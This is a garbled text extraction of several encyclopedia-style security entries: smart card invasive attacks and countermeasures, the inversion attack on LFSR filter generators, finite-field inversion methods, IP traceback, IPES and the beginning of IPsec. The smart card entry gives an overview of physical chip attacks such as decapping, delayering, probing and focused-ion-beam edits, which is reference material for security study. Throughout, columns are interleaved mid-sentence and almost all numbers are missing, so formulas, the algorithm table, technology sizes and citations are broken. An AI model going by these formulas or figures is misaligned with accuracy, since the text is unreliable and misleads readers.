%. With such quality, it is hard to use an IDS in network, the GSM wireless communication standard (Europe, Asia,
because it will miss a significant portion of attacking nodes Latin America, and increasingly North America). Smart
but detain a significant portion of good nodes. The prob- cards are also widely used in banking, pay-TV, access con-
lem is caused by the distributed and mobile nature of ad trol, health insurance, public transportation, government
hoc networks. Better understanding of such nature is nec- and online services. Broadly speaking, the smart card is
essary to develop novel intrusion detection mechanisms used to control access to specific devices, networks, or ser-
with better quality. vices. When smart cards are combined with a Public
I Invasive Attacks
Key Infrastructure (PKI), they efficiently implement secure Overview of Attacks on Smart Cards
spaces within a broader IT environment, which are useful Basically, smart card attacks can be classified into three
for applications such as online payment and identification. main categories: social, logical, and physical attacks.
Smart Card Security Social Attacks

These are the oldest. The idea behind these attacks is to
The purpose of a smart card is to ensure the secure stor-
obtain information directly from the manufacturer using
age of sensitive data, and also the integrity and tamper-
classical social engineering techniques. Countermeasures
resistant execution of cryptographic applications. Highly
in this case range from physical security such as access con-
sensitive data is never released outside the card; all oper-
trol to the sites, physically isolated labs, and the education
ations are carried out by the operating system inside
of employees to the application of strict security proce-
the card. The operating system also handles security and
dures. This kind of attack falls outside the scope of this
data access for each of these applications. This section
document.
describes the mechanisms that protect on-card data and
applications.
Smart cards have an integrated CMOS circuit (Fig. ) Logical Attacks
commonly referred to as a chip comprising: These attacks are used to recover secret data from secure
devices without actually damaging the device. By moni-
Logical functions.
toring execution time, power consumption, or electromag-
CPU from bits up to bits.
netic radiation of a chip, it is frequently possible to infer
Different kinds of memories like ROM, EEPROM,
information about the processed data. Performing Side-
RAM and more recently Flash and Feram (Ferro-
channel analysis on a secure device requires advanced
electrics RAM). Here the ROM is a permanent mem-
knowledge in electronics, cryptography, signal processing,
ory storing all or part of the operating system. The
and statistics. A well-known class of attacks in this group
EEPROM is a nonvolatile erasable memory that stores
is based on the analysis of smart card power consumption.
application data, mainly keys, PIN codes, or personal
This class includes Differential Power Analysis (DPA),
data, and, in some cases, parts of the operating system
Simple Power Analysis (SPA), and timing analysis.
and its applications. The RAM is a volatile memory that
stores temporary data such as intermediate internal SPA uses variations in the global power consumption
application data or session keys or access rights. of the chip and infers information that is normally held
I/O interface for communication with the external within the chip. For example, an increase in power
world. consumption might indicate that a modular exponen-
Peripherals such as crypto-coprocessors, Random- tiation (an important cryptographic function) is being
Number Generators. performed. In general, SPA will give better results if
Invasive Attacks. Fig. Microprocessor card architecture

Invasive Attacks I
the attacker has extensive knowledge of the hardware Access to Silicon

architecture.
Delayering
DPA is more sophisticated than the SPA. Statistical
The first step consists in doing some reverse engineering.
analysis of power consumption curves is carried out
Reverse engineering allows block localization, like mem-
for several executions of the same algorithm. The input
ories, buses, random-number generation, inputs, etc., and
data is changed in such a way that sensitive information
also an understanding of the chip architecture.
can be deduced.
The chip is covered by a globe-top made of epoxy
Timing attacks have posed serious problems in the
resin that can be removed by using hot fuming nitric acid.
past, because in older designs the execution time would
At this stage, the chips surface is not yet accessible for
vary according to the data and/or the cryptographic
probing or modification; only optical or electrical analy-
keys that were being processed. Current smart card
sis could be feasible depending on the chip manufacturers
chips have been designed with constant timing, or at
process.
least timings that do not depend on data or secret
CMOS chip structure is made of multiplayer stack-
keys.
ing going from three to five metal layers. The upper layer
Electromagnetic analysis is a newer type of attack.
is called the passivation layer (silicon oxide), which pro-
It is based on the same techniques as those used for
tects the chip against environmental hazards and ionic
DPA and SPA, but the physical quantities that are mea-
contaminations.
sured are not the same. In this case, the RF signals
As a large amount of stress can be generated on the die
provide the essential information. Such attacks fall into
the category of side-channel attacks, but they differ in
during the assembly process, a thick film of polyimide over I
the passivation layer is deposited. These stresses may lead
a number of crucial points from power attacks.
to cracking of the protective passivation layer. Before get-
Fault attacks are conducted using a combination of
ting access to the silicon, the polyimide and passivation
several environmental conditions that cause the chip to
layers must be removed using ethylendiamine and fluo-
produce computational errors that can leak protected
ridric acid, respectively. For the passivation layer the most
information. Sensors that detect abnormal operating
convenient depassivation technique is to use a laser cut-
conditions are thus used to preclude the need for costly
ter, but this technique can only be used to create small
software and hardware countermeasures (it is always
windows used for probing (Fig. ).
better to anticipate rather than to correct errors).
There is no particular way to prevent optical reverse
Software attacks target software flaws using a nor-
engineering except by increasing the design complexity
mal communication channel to interface with the card.
and sharing specific parts of the circuit among different
These flaws may weaken the security features of the
layers.
card or allow them to be bypassed, leaving the sys-
tem open to frauds. There is a wide range of software
attacks, some of which are not specific to the smart
card. Incorrect file access conditions, malicious code,
flaws in cryptographic protocols, design and imple-
mentation errors are common flaws in computing
systems.
Invasive Attacks
The goal of these attacks is to unearth information stored in
memories, or data flowing through the data bus, registers,
etc. These attacks are not specific to smart cards but are
generic to CMOS components. Modifying an electronic
component requires considerable time and resources,
sophisticated and expensive tools, and extensive hardware
expertise. This cost can be considered as a first barrier. The
more you know about the internal architecture of the chip Invasive Attacks. Fig. Example of window opened in the
the easier these attacks will be. passivation layer using laser cutter
I Invasive Attacks
Block Localization Phosphor or boron are introduced) differences and make

Once the passivation layer has been removed, the upper the content readable by optical observations, a process that
metal layer becomes accessible. Each metal layer can be can be automated. And then ROM mapping of zero and
selectively removed by chemical attacks. Depending on one is extracted.
the layer structure, it can be dry-etched using plasma or In order to protect the ROM contents from illegal
wet etching. This step can be destructive: several chips are extraction, all chip manufacturers encrypt the ROM. The
usually required for these attacks. ciphering algorithm depends on both the data value and
Memory blocks like ROM, EEPROM, RAM, and parts the address. So a complete reverse engineering of the
of analogue blocks such as charge pumps and capacitors decoders logic is necessary. In addition, ROM code will be
are easily recognizable, an example is given in Fig. . systematically filled with random data when the code size
is not equal to the complete ROM size.
Memory Content Extraction RAM
ROM The RAM is a temporary working area. The RAM data
The ROM is a critical part of the circuit because it is where is, for example, used for cryptographic calculations and
the code (operating system, JAVA virtual machine, API) session key transfers. Using a SEM specialized in voltage
is stored. In new generations of products ( nm), it is contrast, it is possible to observe RAM activity in operating
preferable to use a metal (Fig. ) or ionic implantation mode. These microscopes have the ability of detecting vari-
ROM process. The difficulty of reverse-engineering the ations in voltage. Applying power to the chip and observing
ROM content in these two cases is identical. In the case the chip in image mode reveals the DC (direct current)
of a metal ROM a selective delayering of the chip metal conditions on the surface layers of the chip.
layers is necessary in order to reach the appropriate metal Like for the ROM, chip manufacturers encrypt or
layer (usually M) and the metal connections. In the case scramble the RAM. Scrambling depends only on the
of an ionic implantation ROM a complete delayering is address (address transposition), while ciphering depends
required in order to reach the silicon level. A chemical on both the address and the data: these mechanisms can
attack is further performed to reveal doping (in order to be static or dynamic. Frequency sensors, used for restrict-
create active region in the semiconductor, impurities like ing the operating range of the chip, could protect against
the use of SEM in voltage contrast.
EEPROM or FLASH
This write/erase nonvolatile memory is used to store appli-
cation data, part of executable code, and sensitive data like
PIN code or session keys. Reversing the EEPROM or Flash
memory consists in finding the state of the floating gate.
At this time, no method has been found to extract the com-
plete memory content. As before, nonvolatile memory can
be encrypted or scrambled to increase security level. There
is an emergence of new nonvolatile memory point like
Flash and Feram in the smart card chip market. These new
memory maps have the particularity of being very com-
pact, of taking less space, and are probably more difficult to
attack. Soon there will be smart cards where the executable
code will be loaded in flash. With a strong memory man-
agement and a shrinking technology, one would think that
these products will be more secure. However, the resulting
level of security depends on other factors such as the time
available before the product needs to be finished.
Bus Localization
Using Voltage contrast techniques, bus activity can be
observed. Besides, in a slow scan image mode, it is pos-
Invasive Attacks. Fig. Metal ROM showing unused area sible to visualize different clock rates across the bus lines.
Invasive Attacks I
e-beam detector
e
e
e
DATA BUS
Invasive Attacks. Fig. Mechanical probing SI
Invasive Attacks. Fig. e-Beam probing

Observing the changing contrast on the signal path can be
correlated to the changing logic state. However, manufac-
turers forecast specific countermeasures comprising:
Static ciphering
Dynamic ciphering
Complemented logic
I
Buried Buses
Dummy activity on buses
Chip Probing
Once the first step of reverse engineering is completed,
chip probing can start. As buses are connected to the CPU
and also to the memories, there is a great interest in taping
data passing through these buses. Hence, it could be possi-
ble to retrieve the full running program. In this case a small Invasive Attacks. Fig. Probe pads added by FIB to reach M
reverse engineering must have been done previously and through a shield
passivation removal or circuit modification is sometimes
required.
Probing could be mechanical using a microprobe on Chip Modication
a micromanipulator with a probe station (Fig. ). This Modifying or disconnecting part of a circuit in order can
technique is very difficult for sub-Micronics technology constitute an interesting attack method. Using this method
smaller than . m. it is possible to connect or disconnect hardware security
The smaller the line is, the more difficult it will be to mechanisms.
access them by mechanical probing. Instead, e-beam prob- The Focused Ion Beam (FIB) is a convenient and pow-
ing, which is a Contactless method based on secondary erful tool. A FIB allows material deposited for the creation
electron analysis giving voltage values, will be used (Fig. ). of metal lines or metal cross-pads allowing access to the
Chip probing could be prevented by adding counter- bus, as illustrated in the following figure:
measures like: In a similar manner, removing materials using a FIB
allows the track to be cut, the disconnection of security
An active shield that is a metal mesh where data passes
sensors, or the opening of a window through the pas-
continuously on lines. If there is a disconnection or
sivation layer to get access to buried levels (Fig. ). As
modification of this mesh then the chip does not oper-
mentioned previously, countermeasures can be added in
ate anymore.
order to prevent such attacks:
A passive shield where a full metal mesh covers some
sensitive parts of the circuit Active shield
Bus static or dynamic scrambling Complexity of the design
Buried lines Glue logic
I Invasive Attacks
Invasive Attacks. Fig. New chip design
Invasive Attacks. Fig. Old chip design
Protection Against Physical Attacks Invasive Attacks. Fig. Part of glue logic design
Conducting physical attacks against smart cards at the
semiconductor level requires expensive equipment and cannot be easily made to recover memory contents. Mem-
considerable technical expertise. Therefore, the threat is ories are also scrambled or ciphered in order to protect the
limited to few organizations and specialists. However, chip from selective access/erasure of individual data bytes.
smart card manufacturers cannot afford to release cards Chips are made of multiple layers, allowing manu-
without effective countermeasures against such attacks. facturers to hide sensitive components (e.g., data lines,
Some of the principles used to physically secure cards are connections) in between different layers that contain less
described below. sensitive components. For instance, the ROM is located in
Modern smart cards use semiconductor technology the lower (least accessible) layers of the chip.
for the chip, making reverse engineering by observation A current-carrying protective layer or active shield is
difficult. The size and density of the transistors on the added at the top of the chip for power supply. If this layer
chip surface has drastically shrunk ( nm), and chips is removed, the chip will no longer operate. This layer
are now considered secure against visual analytical reverse prevents analysis of electrical voltage on the chip to infer
engineering. information.
Functional blocks are mixed (Fig. ), producing what Moreover, a set of sensors is activated to detect
is called a glue logic design (block logic randomization). abnormal variations of environmental variables (refer also
This makes it much more difficult for an attacker to analyze Smart Card Tamper Resistance). It guarantees that the
the structure of the chip and to localize functional blocks chip will not be able to operate in abnormal conditions
(CPU, RAM, ROM, EEPROM, buses, registers, etc.). of use. These sensors measure values such as voltage,
Moreover, the buses are scrambled or ciphered and are temperature, clock frequency, and light. Such sensors offer
thus inaccessible from outside the chip, so connections protections against fault attacks (among others).
Inversion Attack I
Sensor improvement
Temperature, Glitch
130 nm technology
sensors
Frequency, Voltage Active shield 6 metal layers
Integrity sensor 0.35 m technology Sensor improvement Internal free oscillator
1 m technology 5 metal layers 0.18 m technology CPU freq up to 66 MHz
Glue logic 5 metal layers
Passive shield 32-bit CPU
UV, Light sensors Internal free oscillator Internal free oscillator
2 metal layers CPU Freq = 16 MHz Register redundancy
0.6 m technology CPU Freq = 66 MHz
CPU Freq = 5 MHz 3 metal layers 16-bit CPU 32-bit CPU Fault detection
8 bit CPU CPU Freq = 10 MHz Dummy cycles Complemented logic Memory and CPU error
ROM encryption Encryption of Memories Dynamic encryption
Fast Erase of memory detection
1996 1998 2000 2002 2010
Invasive Attacks. Fig. Security feature evolutions

I
Conclusion
Smart cards turn out to be the strongest components in the Inversion Attack
system. In practice, it tends to be much easier to exploit
weaknesses in protocols or in the implementation, than Anne Canteaut
to physically penetrate the card and extract its secrets. Project-Team SECRET, INRIA Paris-Rocquencourt,
In the last five years the level of hardware security found Le Chesnay, France
in smart cards has increased enormously (Fig. ). In
the first publications on potential smart card vul-
nerabilities were written. Afterwards chip manufacturers
Related Concepts
Filter Generator; Stream Cipher
have made tremendous efforts to increase the security
levels.
This is illustrated in the following figure (Fig. ): Denition
However, security by the use of countermeasures must The inversion attack is a known plaintext attack on some
be added at each smart card process level such as com- particular filter generators. It was proposed by Golic
ponent, software layer, applicative layer, etc. Smart card in []. A generalization to any filter generator, called
device using appropriate and well design countermea- generalized inversion attack, was presented by Golic, Clark,
sures is the most secure token and what about future and Dawson in []. Both inversion attack and gener-
trends? alized inversion attack aim at recovering the initial state of
the linear feedback shift register (LFSR) from a segment
Chip design technologies will be smaller and smaller of the running-key when the LFSR feedback polynomial,
(. m). the tapping sequence, and the filtering function are known.
CPU frequencies will reach MHz.
New nonvolatile memories will be introduced (Feram, Theory
MRam, etc.).
More complex design and countermeasures will be
Original Inversion Attack
The original inversion attack only applies when the filter-
developed.
ing function f is linear in its first input variable (forward
Hence, invasive attacks will be increasingly difficult and attack) or in its last input variable (backward attack), i.e.,
will require powerful tools and expert knowledge in chip when
architecture and electronics. f (x , x , . . . , xn ) = x + g(x , . . . , xn )
I Inversion Attack
n
or M = .
gcd( i i+ )
f (x , x , . . . , xn ) = g(x , . . . , xn ) + xn
The related design criterion is then that the greatest com-
where g is a Boolean function of n variables. In the mon divisor of all spacings between the taps should be
first case, the keystream s is defined by equal to .
st = f (ut+ , ut+ , . . . , ut+ n ) Generalized Inversion Attack

= ut+ + g(ut+ , . . . , ut+ n ), A similar attack can be mounted even if the filtering func-
tion is not linear in its first or last variable. In the general
where (ut )t is the sequence generated by the LFSR case, the keystream is given by
and ( i )in is a decreasing sequence of non-negative st = f (ut+ , ut+ , . . . , ut+ n ).
integers. The attack relies on the fact that the bit ut+
can be deduced from the ( n ) previous terms, Exactly as in the original inversion attack, the basic step
(ut+ n , . . . , ut+ ), if the running-key bit st is known. of the attack consists in deducing the bit ut+ from the
The relevant parameter of the attack is then the memory knowledge of the keystream bit st and of the M previous
size of the filter generator, defined by M = n . Indeed, terms of the LFSR sequence, (ut+ n , . . . , ut+ ). For fixed
the complete initialization of the LFSR can be recovered values of st and of (ut+ n , . . . , ut+ ), the unknown bit
by an exhaustive search on only M bits as described in ut+ may take , , or possible values. Then, an exhaus-
Table . tive search for the M bits u n . . . u of the LFSR sequence
The backward attack, which applies when the filter can still be performed. For a given value of the M-bit
function is linear in its last variable, is similar. The com- vector u n . . . u , a binary tree of depth L M repre-
plexity of both forward and backward attacks is O(LM ). senting all the solutions for the next (L M) bits of u
It follows that the memory size of a filter generator should is formed. Each node at level t corresponds to a guessed
be large and preferably close to its maximum possible value of (ut+ n . . . ut+ ). Then, the number of edges out
value L . of this node is , , or according to the number of solu-
Moreover, the complexity of the attack dramatically tions x of the equation st = f (x, ut+ , . . . , ut+ n ). If a tree
decreases when the greatest common divisor of all spacings of depth L M can be constructed from a given M-bit
between the taps, d = gcd( i i+ ), is large. Indeed, the root, some additional bits of the LFSR sequence are com-
inversion attack can be applied to the d-decimation of the puted and their consistency with the observed keystream
LFSR sequence, i.e., to the sequence obtained by sampling is checked. It is shown that the typical number of surviving
the LFSR sequence at intervals of d clock cycles (see []). nodes at level L M is linear in L. Then, the typical com-
Therefore, the effective memory size of the filter generator plexity of the attack is O(LM ). Exactly as in the inversion
corresponds to attack, the parameter involved in the attack is the effective
memory size, i.e.,
n
Inversion Attack. Table Inversion attack M = .
gcd( i i+ )
Input. s s . . . sN , N keystream bits.
Another technique based on a trellis representation and on
Output. u n . . . uL+ n , L consecutive bits of the LFSR
the Viterbi algorithm is described in []. Its efficiency is
sequence, where L is the LFSR length.
comparable to the generalized inversion attack.
For each choice of the M-bit vector u n . . . u
Compute the next (LM) bits of the LFSR sequence
by
Recommended Reading
. Golic JDj () On the security of nonlinear filter generators. In:
ut+ st + g(ut+ , . . . , ut+ n ), t L M. Fast software encryption . Lecture notes in computer science,
Compute (N L) additional bits of the LFSR . Golic JDj, Clark A, Dawson E () Generalized inversion
sequence with the LFSR recurrence relation, and the attack on nonlinear filter generators. IEEE Trans Comput ():
corresponding running-key bits, st , for L M t <
. Leveiller S, Boutros J, Guillot P, Zmor G () Cryptanalysis of
N M. nonlinear filter generators with (, )-metric Viterbi decoding. In:
If the N L bits st are equal to the observed Cryptography and coding th IMA international conference,
keystream sequence, then return (u n . . . uL+ n ). UK, December . Lecture notes in computer science,
Inversion in Finite Fields and Rings I
computationally advantageous. If the inverse in an exten-

Inversion in Finite Fields and sion field is to be computed, the Euclidean algorithm with
Rings polynomials has to be used.
Christof Paar Fermats Little Theorem

Lehrstuhl Embedded Security, Gebaeude IC /, This method has a higher computational complexity than
Ruhr-Universitaet Bochum, Bochum, Germany the extended Euclidean algorithm but can nevertheless
be relevant in certain situations, for example, if a fast
exponentiation unit is available or if an algorithm with
Synonyms
a simple control structure is desired. From Fermats lit-
Inversion in Galois fields
tle theorem it follows immediately that for any element
A GF ( qm ), A , the inverse can be computed as
m
Related Concepts A = A(q ) . For fields of characteristic two, that is,

Euclidean Algorithm; Finite Field fields GF(m ), the use of addition chains allows to dramati-
cally reduce the number of multiplications (though not the
number of squarings) required for computing the expo-
Denition nentiation to the (m )th power. This method is referred
Inversion is the computation of the element A such that to as ItohTsujii Inversion.
AA

= Look-Up Tables I
A conceptually simple method is based on look-up tables.
where A is a nonzero element of a finite field or ring, In this case, the inverses of all field elements are precom-
and is the neutral element of the algebraic structure. puted once with one of the methods mentioned above,
In finite fields, or Galois fields, the inverse exists for all and stored in a table. Assuming the table entries can be
nonzero elements. In finite rings, not all elements have an accessed by an appropriate method, for example, by the
inverse. field elements themselves in a binary representation, the
inverses are available quickly. The drawback of this method
are the storage requirements, since k memory locations are
Theory needed for fields GF(k). Since the storage requirements are
One distinguishes between inversion in a finite ring and
too large for the finite fields commonly needed in public-
in a finite field (or Galois field). In the case of inversion
key cryptography, inversion based on look-up tables is
in a finite integer ring or polynomial ring, the extended
mainly useful in cases of small finite fields. For instance,
Euclidean algorithm can be used. Let u be the element
inversion in GF() is the main operation in the AES
whose inverse is to be computed and v the modulus.
S-Box.
Note that u and v must be relatively prime in order for
the inverse to exist. The extended Euclidean algorithm
computes the coefficients s and t such that us + vt =
Reduction to Subeld Inversion
In the case of extension fields GF(qm ), m , inversion
gcd(u, v) = . The parameter s is the inverse of u mod-
in the field GF(qm ) can be reduced to inversion in the field
ulo v. In the case of finite integer rings, using the binary
GF(q). This reduction comes at the cost of extra operations
Euclidean algorithm leads often to faster executions on
(multiplications and additions) in the field GF(qm ). If the
digital computers. The binary Euclidean algorithm does
inversion in the subfield GF(q) is sufficiently inexpensive
not require integer divisions but only simple operations
computationally compared to extension field inversion,
such as shifts and additions.
ItohTsujii Inversion can have a low overall complex-
In the case of finite field, there are several approaches
ity. The method was introduced for fields in normal basis
to computing multiplicative inverses of nonzero elements:
representation in [] and generalized to fields in poly-
nomial basis representation in []. The method can be
Extended Euclidean Algorithm applied iteratively in fields with multiple field extensions,
This is the most general and in many cases most effi- sometimes referred to as tower fields. In the case of fields
cient method. The application is completely analogous to GF(m ), m a prime, the ItohTsujii algorithm degenerates
the case of finite rings as discussed above. In the case into inversion based on Fermats little theorem. It should be
of prime fields, the standard extended Euclidean algo- stressed that this method is not a complete inversion algo-
rithm applies, and the binary Euclidean algorithm is often rithm since it is still necessary to eventually perform an
I Inversion in Galois Fields
inversion in the subfield. However, inversion in a (small) . Morii M, Kasahara M () Efficient construction of gate circuit
subfield can often be done fast with one of the methods for computing multiplicative inverses over GF(m ). Trans IEICE
E :
described above.
. Paar C () Some remarks on efficient inversion in finite fields.
Direct Inversion In Proceedings of IEEE International Symposium on Infor-
mation Theory, Whistler, B.C. Canada, September ,
This method is applicable to extension fields GF(qm ), and
p
mainly relevant for fields where m is small, for exam-
ple, m = , , . Similar to ItohTsujii Inversion, direct
inversion also reduces extension field inversion to sub-
field inversion. As an example, in the following the method
for fields GF(q ), introduced in [], is shown. Consider
Inversion in Galois Fields
a nonzero element A = a + a x from GF(qm ), where
Inversion in Finite Fields and Rings
a , a GF(q). An irreducible field polynomial with the
form P(x) = x + x + p is assumed, where p GF(q). If
the inverse is denoted as B = A = b + b x, the equation
A B = [a b + p a b ] + [a b + a b + a b ]x = IP Traceback
must be satisfied, which is equivalent to a set of two linear Steven M. Bellovin
equations in b , b over GF(q) with the solution: Department of Computer Science, Columbia University,
New York, NY, USA
b = (a + a )/
} , where = a (a + a ) + p a . ()
b = a /
The advantage of this algorithm is that all operations Related Concepts

are performed in GF(q). Note that there is one inver- Attribution
sion of the parameter in the subfield GF(q) required.
The algorithm can be applied recursively. The relationship
Denition
between direction inversion and the ItohTsujii method is
Traceback is a term used for two different technologies:
sketched in [].
learning which machine has sent a particular packet or
sequence of packets, and learning which person has initi-
Applications ated a particular connection. The latter is sometimes called
The need to compute the multiplicative inverse of an ele- attribution.
ment of a finite field (or Galois field) or of a finite ring
occurs frequently in cryptography. The main application Background
domain are asymmetric algorithms, for instance in the Often, especially during certain Distributed Denial of Ser-
computation of the privatepublic key pair in RSA, in vice (DDoS) attacks, it is desirable to learn what machines
the group operation of elliptic curves, or in the signature are participating in the attack. The goal might be to fil-
generation and verification of the Digital Signature Stan- ter out packets from the offending machines, to contact
dard. The finite structures in asymmetric algorithms are its ISP or organization and have them filter the packets, to
large, typically in the range of , bits long, and notify the owner of the machine, or to provide evidence to
inversion is a computationally intensive operation. A sec- law enforcement or other legal authorities. In many cases,
ond application domain in cryptography are inversions the source IP address is sufficient; in other cases, partic-
in small finite fields, which occur in the context of block ularly during reflector attacks, the source IP address does
ciphers, for example, within the S-box of the AES. not point to the perpetrator, and other mechanisms must
be used. In addition, many early DDoS attacks used forged
Recommended Reading source addresses, precisely to avoid detection.
. Guajardo J, Paar C () Itoh-Tsujii inversion in standard basis
and its application in cryptography and codes. Designs, Codes
Theory
and Cryptography :
. Itoh T, Tsujii S () A fast algorithm for computing multiplica-
There are three major approaches to packet tracing: return
tive inverses in GF(m ) using normal bases. Inform and Comput packets, in-net state, and packet marking. Each is consid-
: ered in turn.
IP Traceback I
Return Packets A more general mechanism uses flow accounting data

Return packets are the oldest tracing technology. The orig- (netflow). Many routers can record who is sending how
inal motivation was to track down the source of packets much data to whom, primarily to support network traf-
with forged source addresses. With some low probability, fic engineering and (in some cases) customer billing. By
upon receipt of any packet, each participating router sends its nature, though, netflow data can be used for traceback
a special ICMP packet towards the destination, identify- since it does make note of traffic through the router.
ing itself and the packet. In normal operation, these tracer To conserve memory, many routers accumulate sam-
packets are discarded. During an attack, however, they are pled netflow data. As such, they will often miss small flows
saved; statistically, tracer packets for attack packets should entirely. When tracing denial of service attacks, this mat-
be received in approximately the same proportion as the ters less, since if the attack traffic through the router is con-
unwanted traffic. Some percentage of the tracers will be sequential, there will generally be enough packets towards
from the border routers nearest the attack sources; presum- the victim to be tracked. The technique is less useful for
ably, at this point, the originating organization can locate spotting particular flows of interest.
the offending machines. Netflow data is the only traceback technology that is
ICMP packet tracing raises a number of issues, most actually deployed today.
notably that it inherently sends more traffic at a time when
that is least affordable. If the probability of sending tracers Packet Marking
is low enough, this is not a major problem. A more serious The final tracing technology is based on packet marking.
issue is deciding, in an automated fashion, which packets That is, some randomly selected fraction of the packets
are attack packets, and hence for which the tracers should passing through certain routers is somehow marked i.e.,
I
be examined and acted upon. On the other hand, it is a their contents are somehow altered for later examination.
technology that lends itself to incremental deployment. It Many such schemes have been proposed in the litera-
is beneficial even if deployed by only a few ISPs, and even ture; none have been adopted. Differences include how the
then need only be deployed on border routers; conversely, marking is encoded, what information must be known to
deployment as far as interior organizational routers can understand the markings, what can be learned, etc.
help localize traffic sources even further. All marking technologies face one serious limitation:
The IETF worked on standardizing itrace, one partic- there are no fields in the IP header that are completely
ular form of return packet tracing. This effort was aban- suitable for this purpose. Frequently, the IP id field is over-
doned due to lack of interest. written since it often has no end-to-end significance. It
is not always available it is used, end-to-end, for frag-
In-Net State mented packets, and if AH is in use it is a protected field
A second major class of tracing mechanism relies on but if a sufficiently small proportion of the packets are
routers keeping track of packets flowing through them. The marked, it wont matter; the effect of the marking will be
difficulty here is volume: routers, especially core routers, to cause the packet to be dropped by the receiving system,
process a lot of traffic. Furthermore, the need for per-flow which in turn will act as a bandwidth limiter.
state does not exist apart from the need for measurements;
unlike telephone switches, there is no other need for state Experimental Results
on the router. Many of the concepts discussed here have implemented
One specialized mechanism for tracing attack traffic is or simulated in the lab. None except for use of netflow
based on Bloom filters. A precis of each packets content data has been deployed on live networks, since all require
is entered into a Bloom filter on each participating router; changes to production routers.
later, an attack packet can be matched against the collected
set of Bloom filters exported from various routers, to see Open Problems
which ones have seen which packets. Note, though, that Apart from technical issues at some point, a party wish-
the accuracy of a Bloom filter, and in particular its suscep- ing to trace a particular incident will end up with a set of
tibility to false positives, is dependent on both the size of IP addresses. The next step is to map that to a particular
the filter and the number of items entered into it. There individual. There are several steps involved: determining
is thus a need to export and reset filters periodically; the the responsible ISP or organization from the IP address,
exact frequency depends on their size, traffic volume, and mapping the IP address to a machine, and finding the
desired accuracy rate. Bandwidth from the control plane of individual actually responsible. The latter two are quite
the router to the outside world may be a limiting factor. difficult.
I IPES
The responsible organization can be found by consult- . Clayton R () Anonymity and traceability in cyberspace. PhD
ing public routing tables, either online via a looking glass thesis, University of Cambridge, Darwin College. Also published
as technical report UCAM-CL-TR-
server or via well-known archives of BGP announcements.
. Savage S, Wetherall D, Karlin A, Anderson T () Practical net-
This process yields the autonomous system number; the work support for IP traceback. ACM SIGCOMM , Stockholm,
assorted WHOIS databases list the proper contacts for Sweden, pp
the organization. Alternatively, in many cases the WHOIS . Snoeren AC, Partridge C, Sanchez LA, Strayer WT, Jones CE,
data will directly yield the organizational contacts based Tchakountio F, Kent ST () Hash-based IP traceback. In:
SIGCOMM , San Diego, Aug
on the IP address, though subassignment data is often
. Srisuresh P, Holdrege M () IP Network address transla-
incomplete. tor (NAT) terminology and considerations. RFC , Internet
The next step securing the organizations coop- Engineering Task Force, Aug
eration is difficult procedurally. For privacy reasons . Zhang Y, Paxson V () Detecting stepping stones. In: Proceed-
(and often to comply with local or national ordinances), ings of the th USENIX security symposium, Denver, Aug
. Bellovin SM, Leech M, Taylor T () ICMP traceback messages.
most organizations will not disclose any further informa-
Obsolete Internet draft, Feb . http://www.cs.columbia.edu/
tion except in response to formal legal process. Different ~smb/papers/draft- ietf- itrace- .txt
countries have different standards and standards; securing . Savage S, Wetherall D, Karlin A, Anderson T () Practical
cooperation can require navigating the thickets of interna- network support for IP traceback. SIGCOMM , Proceed-
tional law. Often, it is a fruitless endeavor; some countries ings of the conference on Applications, Technologies, Architec-
tures, and Protocols for Computer Communication. Technical
are even reputed to tolerate the existence of ISPs that cater
Report UW-CSE---, Department of Computer Science
to criminal enterprises. and Engineering, University of Washington, Seattle. http://www.
Once the ISP is willing to cooperate, there are some cs.washington.edu/homes/savage/traceback.html
technical obstacles. Some ISPs reassign IP addresses fre- . Snoeren AC, Partridge C, Sanchez LA, Strayer WT, Jones
quently; finding the proper mapping depends on both CE, Tchakountio F, Kent ST () Hash-based IP traceback.
BBN Technical Memorandum No. , http://www.ir.bbn.com/
parties having logs with accurate timestamps and per-
documents/techmemos/TM.ps, Feb
connection port numbers. Even as mundane an issue as
time zones has been known to interfere. Open Internet
hotspots may not have any logs at all and few logs have
the necessary port numbers. Finally, some IP addresses
actually represent many hosts hidden behind a Network IPES
Address Translator (NAT). Some ISPs, many corporations,
most hotels, and virtually all residences with multiple com- Alex Biryukov
puters employ such devices. These devices very rarely keep FDEF, Campus Limpertsberg, University of Luxembourg,
logs adequate to determining which computer was con- Luxembourg
tacting which other site at a given time. It is often impossi-
ble to trace a contact beyond this point. Related Concepts
The last obstacle, though, is often the most formidable. Block Ciphers; Differential Cryptanalysis; IDEA
While the attribution techniques given above may point to
a particular computer, they say nothing about who made
Denition
the request. Most attacks are launched from previously
IPES is an alternative name for the IDEA cipher. IPES
hacked machines bots that are remotely controlled
stands for improved PES, where PES [] is a cipher prede-
by attackers. Finding the command and control node of
cessor of IDEA which was cryptanalyzed by differential
a botnet is a difficult process since it relies on assess-
cryptanalysis in []. The only changes between IDEA and
ing past communications patterns, with all of the trace-
PES are in the order of operations in the key-mixing sub-
back and attribution problems encountered when trying
round: PES uses the order (, , , ), while IDEA uses
to find the bot. There have been occasional proposals to
the order (, , , ), and in the swap of the words after
add requirements for strong authentication to all outbound
the MA subround. In IDEA, the outer words X , X are not
Internet connections; apart from privacy concerns, their
swapped.
utility generally founders on this last point.
Recommended Reading
. Lai X, Massey JL () A proposal for a new block encryption
Recommended Reading standard. In: Damgard IB (ed) Advances in cryptology proceed-
. Bellovin SM, Leech M, Taylor T () ICMP traceback messages. ings of eurocrypt . Lecture notes in computer science, vol .
Obsolete Internet draft, Feb Springer, Berlin, pp
IPsec I
. Lai X, Massey JL, Murphy S () Markov ciphers and differen- A fundamental concept in IPsec is the Security Asso-
tial cryptanalysis. In: Davies DW (ed) Advances in cryptology ciation, or SA. An SA is a one-way association (note how
proceedings of eurocrypt . Lecture notes in computer science,
we avoid the use of the term connection) that provides
security services to the protected traffic. In practice, SAs
are negotiated and created in pairs, one for each direc-
tion of traffic, but conceivably the forward traffic could
be protected while the return traffic could be in the
IPsec clear. In practice, an SA is represented by a data struc-
ture consisting of Security Parameters Index (SPI), a -bit
John Ioannidis number that uniquely describes an SA in the context of
Google, Inc., New York, NY, USA each host, the wire protocol (ESP or AH) to use, and the
keys and additional configuration parameters to use with
Denition those transforms. The list of active SAs in each host is
IPsec is the set of protocols, conventions, and mechanisms kept in the Security Association Database (SADB). A cor-
that provide security services at the IP layer. responding data structure, the Security Policy Database
(SPD), describes what ought to happen to packets leaving
or entering a host. If a packet has an SPD entry but no cor-
Background
responding SADB entry (thus no SA has been established),
Development of IPsec started at the Internet Engineering
the key exchange protocol is triggered to set up a pair of
Task Force (IETF) in the early s; the latest round of
SAs. Note that the SA, the SADB, and the SPD are con-
I
standards documents came out in , and some devel-
